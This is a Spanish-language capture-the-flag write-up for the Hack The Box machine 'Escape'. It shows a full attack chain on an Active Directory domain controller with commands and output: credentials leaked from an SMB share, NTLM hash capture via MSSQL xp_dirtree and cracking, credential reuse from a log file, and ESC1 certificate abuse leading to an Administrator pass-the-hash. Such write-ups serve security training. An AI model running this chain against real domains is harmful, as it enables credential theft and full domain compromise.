Descripción

Escape es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Archivo PDF de un servidor SMB revela las credenciales de un servidor MSSQL
  • Captura y recuperación de la contraseña desde un hash NTLM de la cuenta de servicio MSSQL para elevar los privilegios
  • Pivote de usuario mediante credenciales filtradas en un archivo de registro
  • Elevación de privilegios mediante la suplantación del usuario Administrator utilizando la vulnerabilidad ESC1 en plantillas de certificados utilizadas en Servicios de Certificados de Active Directory

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.202.

$ ping -c 3 10.10.11.202
PING 10.10.11.202 (10.10.11.202) 56(84) bytes of data.
64 bytes from 10.10.11.202: icmp_seq=1 ttl=127 time=48.8 ms
64 bytes from 10.10.11.202: icmp_seq=2 ttl=127 time=47.2 ms
64 bytes from 10.10.11.202: icmp_seq=3 ttl=127 time=47.4 ms

--- 10.10.11.202 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.214/47.808/48.765/0.683 ms

La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto), podemos asegurar que es una máquina Windows. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.10.11.202 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.202
Host is up (0.049s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 4.35 seconds

Obtenemos muchos puertos abiertos, relacionados con un Controlador de Dominio Active Directory.

Enumeración

Luego realizamos un escaneo más avanzado, con versión de servicio y scripts.

$ nmap 10.10.11.202 -Pn -sV -sC -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.202
Host is up (0.048s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.202:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.202:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|_  start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.21 seconds

Obtenemos los servicios relacionados con un Active Directory, específicamente el Controlador de Dominio sequel.htb. Añadimos el host a nuestro archivo local /etc/hosts.

$ echo "10.10.11.202 sequel.htb" | sudo tee -a /etc/hosts
$ echo "10.10.11.202 dc.sequel.htb" | sudo tee -a /etc/hosts

Enumerando el servidor SMB encontramos que podemos listar las carpetas compartidas utilizando la cuenta Guest.

$ smbclient -L '//sequel.htb/' -U 'Guest%'           

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Public          Disk      
        SYSVOL          Disk      Logon server share

Podemos leer desde la compartida Public. Recuperamos el archivo SQL Server Procedures.pdf.

$ smbclient '//sequel.htb/Public' -U 'Guest%'        
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 19 12:51:25 2022
  ..                                  D        0  Sat Nov 19 12:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 14:39:43 2022

                5184255 blocks of size 4096. 1464393 blocks available
smb: \> get SQL Server Procedures.pdf
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \SQL
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (201,6 KiloBytes/sec) (average 201,6 KiloBytes/sec)

Leemos el archivo:

SQL Server Procedures

Since last year we've got quite few accidents with our SQL Servers (looking at you Ryan, with your instance on the DC, why should
you even put a mock instance on the DC?!). So Tom decided it was a good idea to write a basic procedure on how to access and
then test any changes to the database. 
...
Accessing from non domain joined machine

Accessing from non domain joined machines can be a little harder.
The procedure is the same as the domain joined machine but you need to spawn a command prompt and run the following
command: cmdkey /add:"<serverName>.sequel.htb" /user:"sequel\<userame>" /pass:<password> . Follow the other steps from
above procedure.
If any problem arises, please send a mail to Brandon (mailto:brandon.brown@sequel.htb
...
Bonus

For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with
user PublicUser and password GuestUserCantWrite1 .
Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".

Extraemos algunas cosas de este documento referidas al servicio MSSQL. Hay tres usuarios en el DC llamados Ryan, Tom y Brandon (usuario brandon.brown). Hay un usuario común llamado PublicUser con la contraseña por defecto GuestUserCantWrite1. Vamos a iniciar sesión con este cuenta en el servicio MSSQL.

$ impacket-mssqlclient 'PublicUser:GuestUserCantWrite1'@sequel.htb
...
SQL (PublicUser  guest@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0   

tempdb                   0   

model                    0   

msdb                     1

Explotación

Vamos a crear un servidor SMB con la herramienta impacket-smbserver para intentar capturar las hashes NTLM del servidor Microsoft SQL.

$ impacket-smbserver -smb2support share .

Ahora ejecutamos el comando xp_dirtree apuntando a nuestro nuevo servidor SMB creado.

SQL (PublicUser  guest@master)> xp_dirtree \\10.10.14.16\a
subdirectory   depth   file   
------------   -----   ----

Obtenemos el hash para la cuenta de servicio DC01\mssqlsvc del MSSQL.

$ impacket-smbserver -smb2support share .
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.202,60805)
[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:3e5d8762ddf06884b89d2ef5e8414a4c:010100000000000000ef65662b40dc019b5fb1420407d8de00000000010010004c005400420051006c00710076004c00030010004c005400420051006c00710076004c000200100069007300730048007a007900650047000400100069007300730048007a007900650047000700080000ef65662b40dc0106000400020000000800300030000000000000000000000000300000792dd6e46bf26fef3f2513bc38c7342183e7a41865b471078d13fb23fbeb64ab0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310036000000000000000000
[*] Closing down connection (10.10.11.202,60805)
[*] Remaining connections []

Lo recuperamos usando John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash    
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REGGIE1234ronnie (sql_svc)     
1g 0:00:00:03 DONE 0.2702g/s 2893Kp/s 2893Kc/s 2893KC/s RENZOJAVIER..RAHFIYAW
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña para la cuenta de servicio sql_svc REGGIE1234ronnie. Podemos spawnear una terminal interactiva con WinRM y la herramienta evil-winrm.

$ evil-winrm -i sequel.htb -u 'sql_svc' -p 'REGGIE1234ronnie'      
...
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc

Post-Explotación

Encontramos al otro usuario que ha iniciado sesión en el sistema, Ryan.Cooper.

*Evil-WinRM* PS C:\Users> dir
    Directory: C:\Users
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:58 AM                Administrator
d-r---        7/20/2021  12:23 PM                Public
d-----         2/1/2023   6:37 PM                Ryan.Cooper
d-----         2/7/2023   8:10 AM                sql_svc

En el directorio C:\sqlserver\logs encontramos el archivo ERRORLOG.BAK. Encontramos un inicio de sesión fallido del usuario Ryan.Cooper, pero después encontramos un inicio de sesión fallido del usuario NuclearMosquito3. Esto podría ser una contraseña introducida por error como nombre de usuario.

*Evil-WinRM* PS C:\sqlserver\logs> type ERRORLOG.BAK
...
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.72 spid51      Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No user action is required.
...

Comprobamos el nombre de usuario Ryan.Cooper y la contraseña NuclearMosquito3 para crear una nueva terminal interactiva.

$ evil-winrm -i sequel.htb -u 'Ryan.Cooper' -p 'NuclearMosquito3'
...
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper

Iniciamos sesión como el usuario ryan.cooper. Como observamos en el escaneo Nmap que los servicios tenían un certificado SSL, vamos a enumerar las Autoridades de Certificación en el dominio para la Elevación de Privilegios.

$ certipy-ad find -username Ryan.Cooper@sequel.htb -password 'NuclearMosquito3' -vulnerable -stdout
...
Certificate Authorities
  0
    CA Name                             : sequel-DC-CA
    DNS Name                            : dc.sequel.htb
    Certificate Subject                 : CN=sequel-DC-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 1EF2FA9A7E6EADAD4F5382F4CE283101
...
CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : UserAuthentication
    Display Name                        : UserAuthentication
    Certificate Authorities             : sequel-DC-CA
    Enabled                             : True
...
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Domain Users
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Administrator
        Full Control Principals         : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Write Property Enroll           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Domain Users
                                          SEQUEL.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SEQUEL.HTB\Domain Users
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

El dominio está utilizando Servicios de Certificados de Active Directory. Encontramos la vulnerabilidad ESC1 en la plantilla UserAuthentication del CA sequel-DC-CA. ESC1 es la configuración incorrecta típica de AD CS que puede llevar directamente a la elevación de privilegios. La vulnerabilidad surge cuando una plantilla de certificado no está adecuadamente protegida, permitiendo a un usuario de baja privilegio solicitar un certificado y, importante, especificar una identidad arbitraria dentro del SAN del certificado. Esto permite al atacante imitarse a cualquier usuario, incluidos los administradores.

Esta vulnerabilidad puede ser explotada en dos pasos: solicitar un certificado utilizando la plantilla vulnerable, inyectando la identidad de un objetivo con privilegios. Y utilizar el certificado obtenido para autenticarse como el objetivo. Primero necesitamos obtener el SID del usuario Administrator del dominio.

$ certipy-ad account -u 'Ryan.Cooper' -p 'NuclearMosquito3' -dc-ip '10.10.11.202' -user 'Administrator' read
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'Administrator':
    cn                                  : Administrator
    distinguishedName                   : CN=Administrator,CN=Users,DC=sequel,DC=htb
    name                                : Administrator
    objectSid                           : S-1-5-21-4078382237-1492182817-2568127209-500
    sAMAccountName                      : Administrator
    userAccountControl                  : 1114624
    whenCreated                         : 2022-11-18T17:11:51+00:00

El SID es S-1-5-21-4078382237-1492182817-2568127209-500. Ahora solicitamos el certificado para el usuario objetivo.

$ certipy-ad req \
    -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' \
    -dc-ip '10.10.11.202' -target 'sequel.htb' \
    -ca 'sequel-DC-CA' -template 'UserAuthentication' \
    -upn 'Administrator@sequel.htb' -sid 'S-1-5-21-4078382237-1492182817-2568127209-500'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate object SID is 'S-1-5-21-4078382237-1492182817-2568127209-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

El certificado se guarda en el archivo administrator.pfx. Ahora vamos a autenticarnos con la máquina para recuperar la hash NTLM.

$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.10.11.202'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator@sequel.htb'
[*]     SAN URL SID: 'S-1-5-21-4078382237-1492182817-2568127209-500'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

Obtenemos el error KRB_AP_ERR_SKEW debido a que la hora de nuestra máquina no está sincronizada con la de la máquina objetivo. Actualizamos el tiempo utilizando el protocolo NTP.

$ sudo timedatectl set-ntp off
$ sudo rdate -n sequel.htb

Volvemos a intentar el comando anterior.

$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.10.11.202'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator@sequel.htb'
[*]     SAN URL SID: 'S-1-5-21-4078382237-1492182817-2568127209-500'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

Obtenemos la hash NTLM para el Administratora52f78e4c751e5f5e17e1e9f3e58f4ee. Podemos reiniciar la hora de nuestra máquina y iniciar sesión utilizando el protocolo WinRM. Somos el usuario Administrator.

$ sudo timedatectl set-ntp on
$ evil-winrm -i sequel.htb -u Administrator -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'
...
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator

Flags

Con la cuenta de Administrator podemos recuperar las flags user.txt y root.txt.

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Ryan.Cooper\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>